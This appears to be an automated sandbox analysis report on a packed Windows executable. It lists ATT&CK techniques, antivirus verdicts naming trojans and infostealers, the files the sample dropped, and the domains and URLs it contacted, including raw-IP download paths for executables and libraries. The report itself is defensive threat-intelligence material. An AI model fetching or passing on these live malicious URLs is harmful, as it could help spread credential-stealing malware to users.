Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	1 Scheduled Task/Job	2 Bypass User Account Control	LSA Secrets	891 Security Software Discovery	SSH	Keylogging	114 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	11 Registry Run Keys / Startup Folder	1 Extra Window Memory Injection	Cached Domain Credentials	2 Process Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	121 Masquerading	DCSync	371 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	371 Virtualization/Sandbox Evasion	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	312 Process Injection	/etc/passwd and /etc/shadow	1 Remote System Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
file.exe	55%	ReversingLabs	Win32.Packed.Themida
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[2].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[3].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[2].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1008450001\5468191780.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[3].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\5468191780[1].exe	100%	Joe Sandbox ML
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\5468191780[1].exe	26%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	29%	ReversingLabs	Win32.Trojan.AutoitInject
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	42%	ReversingLabs	Win32.Trojan.Symmi
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[2].exe	37%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[3].exe	55%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\vcruntime140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\random[1].exe	42%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe	42%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Temp\1008450001\5468191780.exe	26%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	42%	ReversingLabs	Win32.Trojan.Symmi
C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe	42%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\1008454001\9777a59422.exe	29%	ReversingLabs	Win32.Trojan.AutoitInject
C:\Users\user\AppData\Local\Temp\1008455001\796ccdd7ba.exe	42%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Temp\1008456001\2096827834.exe	37%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	55%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\gmp-gmpopenh264\1.8.1.2\gmpopenh264.dll (copy)	0%	ReversingLabs
C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\gmp-gmpopenh264\1.8.1.2\gmpopenh264.dll.tmp	0%	ReversingLabs
C:\Users\user\DocumentsGIECFIEGDB.exe	55%	ReversingLabs	Win32.Trojan.Generic

Name	IP	Active	Malicious
example.org	93.184.215.14	true	false
prod.detectportal.prod.cloudops.mozgcp.net	34.107.221.82	true	false
home.fvtekk5pn.top	34.116.198.130	true	true
services.addons.mozilla.org	151.101.129.91	true	false
s-part-0035.t-0009.t-msedge.net	13.107.246.63	true	false
contile.services.mozilla.com	34.117.188.166	true	false
fvtekk5pn.top	34.116.198.130	true	true
prod.content-signature-chains.prod.webservices.mozgcp.net	34.160.144.191	true	false
us-west1.prod.sumo.prod.webservices.mozgcp.net	34.149.128.2	true	false
ipv4only.arpa	192.0.0.171	true	false
prod.ads.prod.webservices.mozgcp.net	34.117.188.166	true	false
push.services.mozilla.com	34.107.243.93	true	false
www.google.com	142.250.181.68	true	false
normandy-cdn.services.mozilla.com	35.201.103.21	true	false
star-mini.c10r.facebook.com	157.240.196.35	true	false
prod.classify-client.prod.webservices.mozgcp.net	35.190.72.216	true	false
prod.balrog.prod.cloudops.mozgcp.net	35.244.181.201	true	false
twitter.com	104.244.42.193	true	false
property-imper.sbs	104.21.33.116	true	true
dyna.wikimedia.org	185.15.58.224	true	false
prod.remote-settings.prod.webservices.mozgcp.net	34.149.100.209	true	false
youtube.com	142.250.181.78	true	false
disobey-curly.sbs	172.67.223.140	true	true
youtube-ui.l.google.com	142.250.181.110	true	false
reddit.map.fastly.net	151.101.65.140	true	false
telemetry-incoming.r53-2.services.mozilla.com	34.120.208.123	true	false
js.monitor.azure.com	unknown	unknown	false
www.reddit.com	unknown	unknown	false
spocs.getpocket.com	unknown	unknown	false
content-signature-2.cdn.mozilla.net	unknown	unknown	false
support.mozilla.org	unknown	unknown	false
firefox.settings.services.mozilla.com	unknown	unknown	false
www.youtube.com	unknown	unknown	false
www.facebook.com	unknown	unknown	false
detectportal.firefox.com	unknown	unknown	false
normandy.cdn.mozilla.net	unknown	unknown	false
shavar.services.mozilla.com	unknown	unknown	false
www.wikipedia.org	unknown	unknown	false

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://185.215.113.206/	true
http://185.215.113.206/68b591d6548ec281/nss3.dll	true
https://js.monitor.azure.com/scripts/c/ms.jsll-4.min.js	false
http://home.fvtekk5pn.top/LCXOUUtXgrKhKDLYSbzW1732019347	true
http://185.215.113.206/68b591d6548ec281/vcruntime140.dll	true
https://property-imper.sbs/api	true
http://185.215.113.206/68b591d6548ec281/sqlite3.dll	true
http://185.215.113.206/68b591d6548ec281/mozglue.dll	true

URLs from Memory and Binaries

Name	Source	Malicious
http://31.41.244.11/files/rnd.exest	f5d46eacf9.exe, 00000010.00000003.3120632165.00000000011B9000.00000004.00000020.00020000.00000000.sdmp, f5d46eacf9.exe, 00000010.00000003.3098766977.00000000011B3000.00000004.00000020.00020000.00000000.sdmp	false
https://duckduckgo.com/chrome_newtab	aspnet_regiis.exe, 00000009.00000003.2457212361.0000000004ECF000.00000004.00000800.00020000.00000000.sdmp, aspnet_regiis.exe, 00000009.00000003.2457346753.0000000004EB8000.00000004.00000800.00020000.00000000.sdmp, f5d46eacf9.exe, 0000000E.00000003.2602165762.0000000005BC6000.00000004.00000800.00020000.00000000.sdmp, f5d46eacf9.exe, 0000000E.00000003.2605135368.0000000005BC3000.00000004.00000800.00020000.00000000.sdmp, f5d46eacf9.exe, 0000000E.00000003.2603113525.0000000005BC3000.00000004.00000800.00020000.00000000.sdmp, f5d46eacf9.exe, 00000010.00000003.2750062687.00000000056E8000.00000004.00000800.00020000.00000000.sdmp, f5d46eacf9.exe, 00000010.00000003.2749906209.00000000056FF000.00000004.00000800.00020000.00000000.sdmp	false
https://play.google.com/store/apps/details?id=org.mozilla.firefox.vpn&referrer=utm_source%3Dfirefox-	firefox.exe, 00000022.00000002.2858529196.00000186070A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2862283571.0000015226E80000.00000002.08000000.00040000.00000000.sdmp	false
https://duckduckgo.com/ac/?q=	aspnet_regiis.exe, 00000009.00000003.2457212361.0000000004ECF000.00000004.00000800.00020000.00000000.sdmp, aspnet_regiis.exe, 00000009.00000003.2457346753.0000000004EB8000.00000004.00000800.00020000.00000000.sdmp, f5d46eacf9.exe, 0000000E.00000003.2602165762.0000000005BC6000.00000004.00000800.00020000.00000000.sdmp, f5d46eacf9.exe, 0000000E.00000003.2605135368.0000000005BC3000.00000004.00000800.00020000.00000000.sdmp, f5d46eacf9.exe, 0000000E.00000003.2603113525.0000000005BC3000.00000004.00000800.00020000.00000000.sdmp, f5d46eacf9.exe, 00000010.00000003.2750062687.00000000056E8000.00000004.00000800.00020000.00000000.sdmp, f5d46eacf9.exe, 00000010.00000003.2749906209.00000000056FF000.00000004.00000800.00020000.00000000.sdmp	false
https://getpocket.cdn.mozilla.net/v3/firefox/trending-topics?version=2&consumer_key=$apiKey&locale_l	firefox.exe, 00000025.00000002.2857909402.000001522695F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.2857909402.00000152269C7000.00000004.00000800.00020000.00000000.sdmp	false
https://services.addons.mozilla.org/api/v5/addons/browser-mappings/?browser=%BROWSER%	firefox.exe, 00000022.00000002.2858529196.00000186070A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2862283571.0000015226E80000.00000002.08000000.00040000.00000000.sdmp	false
https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.	aspnet_regiis.exe, 00000009.00000003.2507588563.0000000004EA8000.00000004.00000800.00020000.00000000.sdmp, f5d46eacf9.exe, 0000000E.00000003.2662002008.0000000001388000.00000004.00000020.00020000.00000000.sdmp, a0a3a50765.exe, 0000000F.00000002.3125680756.00000000019F5000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2858958737.00000186072E4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.2857909402.00000152269EB000.00000004.00000800.00020000.00000000.sdmp	false
https://firefox.settings.services.allizom.org/v1/buckets/main/collections/search-config/records	firefox.exe, 00000033.00000003.2979213987.000001FD029C2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000033.00000003.3008595129.000001FD02D40000.00000004.00000800.00020000.00000000.sdmp	false
https://merino.services.mozilla.com/api/v1/suggest	firefox.exe, 00000025.00000002.2857909402.00000152269CD000.00000004.00000800.00020000.00000000.sdmp	false
https://monitor.firefox.com/oauth/init?entrypoint=protection_report_monitor&utm_source=about-protect	firefox.exe, 00000022.00000002.2858529196.00000186070A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2862283571.0000015226E80000.00000002.08000000.00040000.00000000.sdmp	false
https://ebay.com	firefox.exe, 00000033.00000003.3104129873.000001FD02CF2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000033.00000003.3131920692.000001FD02CF2000.00000004.00000800.00020000.00000000.sdmp	false
https://completion.amazon.com/search/complete?q=	firefox.exe, 0000001E.00000003.2761240556.000002088CA5A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.2759150339.000002088CA3C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.2763130479.000002088CA77000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.2756221306.000002088C800000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.2757396423.000002088CA1F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000033.00000003.2989071958.000001FD05986000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000033.00000003.2979213987.000001FD029C2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000033.00000003.2986871797.000001FD05D00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000033.00000003.2987123740.000001FD05925000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000033.00000003.2988079499.000001FD05945000.00000004.00000800.00020000.00000000.sdmp	false
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/social-media-tracking-report	firefox.exe, 00000022.00000002.2858529196.00000186070A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2862283571.0000015226E80000.00000002.08000000.00040000.00000000.sdmp	false
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/send-tab	firefox.exe, 00000022.00000002.2858529196.00000186070A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2862283571.0000015226E80000.00000002.08000000.00040000.00000000.sdmp	false
https://monitor.firefox.com/breach-details/	firefox.exe, 00000022.00000002.2858529196.00000186070A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2862283571.0000015226E80000.00000002.08000000.00040000.00000000.sdmp	false
https://versioncheck-bg.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM	firefox.exe, 00000022.00000002.2858529196.00000186070A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2862283571.0000015226E80000.00000002.08000000.00040000.00000000.sdmp	false
https://www.amazon.com/exec/obidos/external-search/	firefox.exe, 0000001E.00000003.2761240556.000002088CA5A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.2759150339.000002088CA3C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.2763130479.000002088CA77000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.2756221306.000002088C800000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.2757396423.000002088CA1F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000033.00000003.2979377409.000001FD029AE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000033.00000003.2989071958.000001FD05986000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000033.00000003.2986871797.000001FD05D00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000033.00000003.2987123740.000001FD05925000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000033.00000003.2988079499.000001FD05945000.00000004.00000800.00020000.00000000.sdmp	false
https://github.com/mozilla-services/screenshots	firefox.exe, 0000001E.00000003.2761240556.000002088CA5A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.2759150339.000002088CA3C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.2763130479.000002088CA77000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.2756221306.000002088C800000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.2757396423.000002088CA1F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000033.00000003.2979377409.000001FD029AE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000033.00000003.2986871797.000001FD05D00000.00000004.00000800.00020000.00000000.sdmp	false
https://services.addons.mozilla.org/api/v4/addons/addon/	firefox.exe, 00000022.00000002.2858529196.00000186070A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2862283571.0000015226E80000.00000002.08000000.00040000.00000000.sdmp	false
https://tracking-protection-issues.herokuapp.com/new	firefox.exe, 00000022.00000002.2858529196.00000186070A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2862283571.0000015226E80000.00000002.08000000.00040000.00000000.sdmp	false
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/password-manager-report	firefox.exe, 00000022.00000002.2858529196.00000186070A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2862283571.0000015226E80000.00000002.08000000.00040000.00000000.sdmp	false
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94	aspnet_regiis.exe, 00000009.00000003.2597567443.0000000004EA7000.00000004.00000800.00020000.00000000.sdmp, aspnet_regiis.exe, 00000009.00000003.2562469620.0000000004EA7000.00000004.00000800.00020000.00000000.sdmp, aspnet_regiis.exe, 00000009.00000002.2609579632.0000000004EA7000.00000004.00000800.00020000.00000000.sdmp, aspnet_regiis.exe, 00000009.00000003.2575466934.0000000004EA7000.00000004.00000800.00020000.00000000.sdmp, aspnet_regiis.exe, 00000009.00000003.2561402714.0000000004EA3000.00000004.00000800.00020000.00000000.sdmp, aspnet_regiis.exe, 00000009.00000003.2529921707.0000000004EA1000.00000004.00000800.00020000.00000000.sdmp, aspnet_regiis.exe, 00000009.00000003.2557050621.0000000004EA6000.00000004.00000800.00020000.00000000.sdmp, f5d46eacf9.exe, 0000000E.00000003.2662002008.0000000001388000.00000004.00000020.00020000.00000000.sdmp, a0a3a50765.exe, 0000000F.00000002.3125680756.00000000019F5000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2858958737.00000186072E4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.2857909402.00000152269EB000.00000004.00000800.00020000.00000000.sdmp	false
http://src.chromium.org/viewvc/chrome/trunk/src/third_party/cld/languages/internal/languages.cc	firefox.exe, 00000033.00000003.2924254375.000001FD02980000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000033.00000003.2923751238.000001FD028F0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000033.00000003.2924757428.000001FD02978000.00000004.00000800.00020000.00000000.sdmp	false
https://disobey-curly.sbs/S	aspnet_regiis.exe, 00000009.00000003.2608012030.0000000002AAD000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000009.00000002.2608979660.0000000002AB1000.00000004.00000020.00020000.00000000.sdmp	false
https://property-imper.sbs:443/api	f5d46eacf9.exe, 0000000E.00000003.2801097956.0000000001311000.00000004.00000020.00020000.00000000.sdmp	false
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/fingerprinters-report	firefox.exe, 00000022.00000002.2858529196.00000186070A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2862283571.0000015226E80000.00000002.08000000.00040000.00000000.sdmp	false
https://api.accounts.firefox.com/v1	firefox.exe, 00000022.00000002.2858529196.00000186070A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2862283571.0000015226E80000.00000002.08000000.00040000.00000000.sdmp	false
https://disobey-curly.sbs/apia-	aspnet_regiis.exe, 00000009.00000003.2556991177.0000000002AE8000.00000004.00000020.00020000.00000000.sdmp	false
https://addons.mozilla.org/%LOCALE%/%APP%/blocked-addon/%addonID%/%addonVersion%/	firefox.exe, 00000022.00000002.2858529196.00000186070A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2862283571.0000015226E80000.00000002.08000000.00040000.00000000.sdmp	false
https://monitor.firefox.com/?entrypoint=protection_report_monitor&utm_source=about-protections	firefox.exe, 00000022.00000002.2858529196.00000186070A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2862283571.0000015226E80000.00000002.08000000.00040000.00000000.sdmp	false
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	aspnet_regiis.exe, 00000009.00000003.2457212361.0000000004ECF000.00000004.00000800.00020000.00000000.sdmp, aspnet_regiis.exe, 00000009.00000003.2457346753.0000000004EB8000.00000004.00000800.00020000.00000000.sdmp, f5d46eacf9.exe, 0000000E.00000003.2602165762.0000000005BC6000.00000004.00000800.00020000.00000000.sdmp, f5d46eacf9.exe, 0000000E.00000003.2605135368.0000000005BC3000.00000004.00000800.00020000.00000000.sdmp, f5d46eacf9.exe, 0000000E.00000003.2603113525.0000000005BC3000.00000004.00000800.00020000.00000000.sdmp, f5d46eacf9.exe, 00000010.00000003.2750062687.00000000056E8000.00000004.00000800.00020000.00000000.sdmp, f5d46eacf9.exe, 00000010.00000003.2749906209.00000000056FF000.00000004.00000800.00020000.00000000.sdmp	false
https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta	aspnet_regiis.exe, 00000009.00000003.2597567443.0000000004EA7000.00000004.00000800.00020000.00000000.sdmp, aspnet_regiis.exe, 00000009.00000003.2562469620.0000000004EA7000.00000004.00000800.00020000.00000000.sdmp, aspnet_regiis.exe, 00000009.00000002.2609579632.0000000004EA7000.00000004.00000800.00020000.00000000.sdmp, aspnet_regiis.exe, 00000009.00000003.2575466934.0000000004EA7000.00000004.00000800.00020000.00000000.sdmp, aspnet_regiis.exe, 00000009.00000003.2561402714.0000000004EA3000.00000004.00000800.00020000.00000000.sdmp, aspnet_regiis.exe, 00000009.00000003.2529921707.0000000004EA1000.00000004.00000800.00020000.00000000.sdmp, aspnet_regiis.exe, 00000009.00000003.2557050621.0000000004EA6000.00000004.00000800.00020000.00000000.sdmp, f5d46eacf9.exe, 0000000E.00000003.2662002008.0000000001388000.00000004.00000020.00020000.00000000.sdmp, a0a3a50765.exe, 0000000F.00000002.3125680756.00000000019F5000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2858958737.00000186072E4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.2857909402.00000152269EB000.00000004.00000800.00020000.00000000.sdmp	false
http://ocsp.rootca1.amazontrust.com0:	aspnet_regiis.exe, 00000009.00000003.2505902329.0000000004EE1000.00000004.00000800.00020000.00000000.sdmp, f5d46eacf9.exe, 0000000E.00000003.2660033541.0000000005BB0000.00000004.00000800.00020000.00000000.sdmp, f5d46eacf9.exe, 00000010.00000003.2816330081.000000000570B000.00000004.00000800.00020000.00000000.sdmp	false
https://www.ecosia.org/newtab/	aspnet_regiis.exe, 00000009.00000003.2457212361.0000000004ECF000.00000004.00000800.00020000.00000000.sdmp, aspnet_regiis.exe, 00000009.00000003.2457346753.0000000004EB8000.00000004.00000800.00020000.00000000.sdmp, f5d46eacf9.exe, 0000000E.00000003.2602165762.0000000005BC6000.00000004.00000800.00020000.00000000.sdmp, f5d46eacf9.exe, 0000000E.00000003.2605135368.0000000005BC3000.00000004.00000800.00020000.00000000.sdmp, f5d46eacf9.exe, 0000000E.00000003.2603113525.0000000005BC3000.00000004.00000800.00020000.00000000.sdmp, f5d46eacf9.exe, 00000010.00000003.2750062687.00000000056E8000.00000004.00000800.00020000.00000000.sdmp, f5d46eacf9.exe, 00000010.00000003.2749906209.00000000056FF000.00000004.00000800.00020000.00000000.sdmp	false
https://www.youtube.com/	firefox.exe, 00000025.00000002.2857909402.000001522690A000.00000004.00000800.00020000.00000000.sdmp	false
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/shield	firefox.exe, 00000022.00000002.2858529196.00000186070A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2862283571.0000015226E80000.00000002.08000000.00040000.00000000.sdmp	false
https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=	firefox.exe, 00000025.00000002.2857909402.000001522695F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.2857909402.00000152269C7000.00000004.00000800.00020000.00000000.sdmp	false
http://127.0.0.1:	firefox.exe, 00000022.00000002.2858529196.00000186070A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2862283571.0000015226E80000.00000002.08000000.00040000.00000000.sdmp	false
https://mitmdetection.services.mozilla.com/	firefox.exe, 00000022.00000002.2858529196.00000186070A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2862283571.0000015226E80000.00000002.08000000.00040000.00000000.sdmp	false
https://www.amazon.com/exec/obidos/external-search/moz-extension://0128cb26-82a4-47d0-b618-034592b56	firefox.exe, 00000033.00000003.2979377409.000001FD029AE000.00000004.00000800.00020000.00000000.sdmp	false
https://amazon.com	firefox.exe, 00000033.00000003.3104129873.000001FD02CF2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000033.00000003.3131920692.000001FD02CF2000.00000004.00000800.00020000.00000000.sdmp	false
http://185.215.113.16/off/def.exe	f5d46eacf9.exe, 00000010.00000003.3098766977.00000000011B3000.00000004.00000020.00020000.00000000.sdmp	false
https://spocs.getpocket.com/	firefox.exe, 00000025.00000002.2857909402.0000015226912000.00000004.00000800.00020000.00000000.sdmp	false
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples	aspnet_regiis.exe, 00000009.00000003.2457965344.0000000004ED0000.00000004.00000800.00020000.00000000.sdmp, f5d46eacf9.exe, 0000000E.00000003.2606865867.0000000005BAD000.00000004.00000800.00020000.00000000.sdmp, f5d46eacf9.exe, 00000010.00000003.2753049009.0000000005700000.00000004.00000800.00020000.00000000.sdmp	false
https://services.addons.mozilla.org/api/v4/abuse/report/addon/	firefox.exe, 00000022.00000002.2858529196.00000186070A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2862283571.0000015226E80000.00000002.08000000.00040000.00000000.sdmp	false
https://services.addons.mozilla.org/api/v4/addons/search/?guid=%IDS%&lang=%LOCALE%	firefox.exe, 00000022.00000002.2858529196.00000186070A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2862283571.0000015226E80000.00000002.08000000.00040000.00000000.sdmp	false
https://color.firefox.com/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_content=theme-f	firefox.exe, 00000022.00000002.2858529196.00000186070A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2862283571.0000015226E80000.00000002.08000000.00040000.00000000.sdmp	false
https://play.google.com/store/apps/details?id=org.mozilla.firefox&referrer=utm_source%3Dprotection_r	firefox.exe, 00000022.00000002.2858529196.00000186070A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2862283571.0000015226E80000.00000002.08000000.00040000.00000000.sdmp	false
https://monitor.firefox.com/user/breach-stats?includeResolved=true	firefox.exe, 00000022.00000002.2858529196.00000186070A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2862283571.0000015226E80000.00000002.08000000.00040000.00000000.sdmp	false
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/cross-site-tracking-report	firefox.exe, 00000022.00000002.2858529196.00000186070A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2862283571.0000015226E80000.00000002.08000000.00040000.00000000.sdmp	false
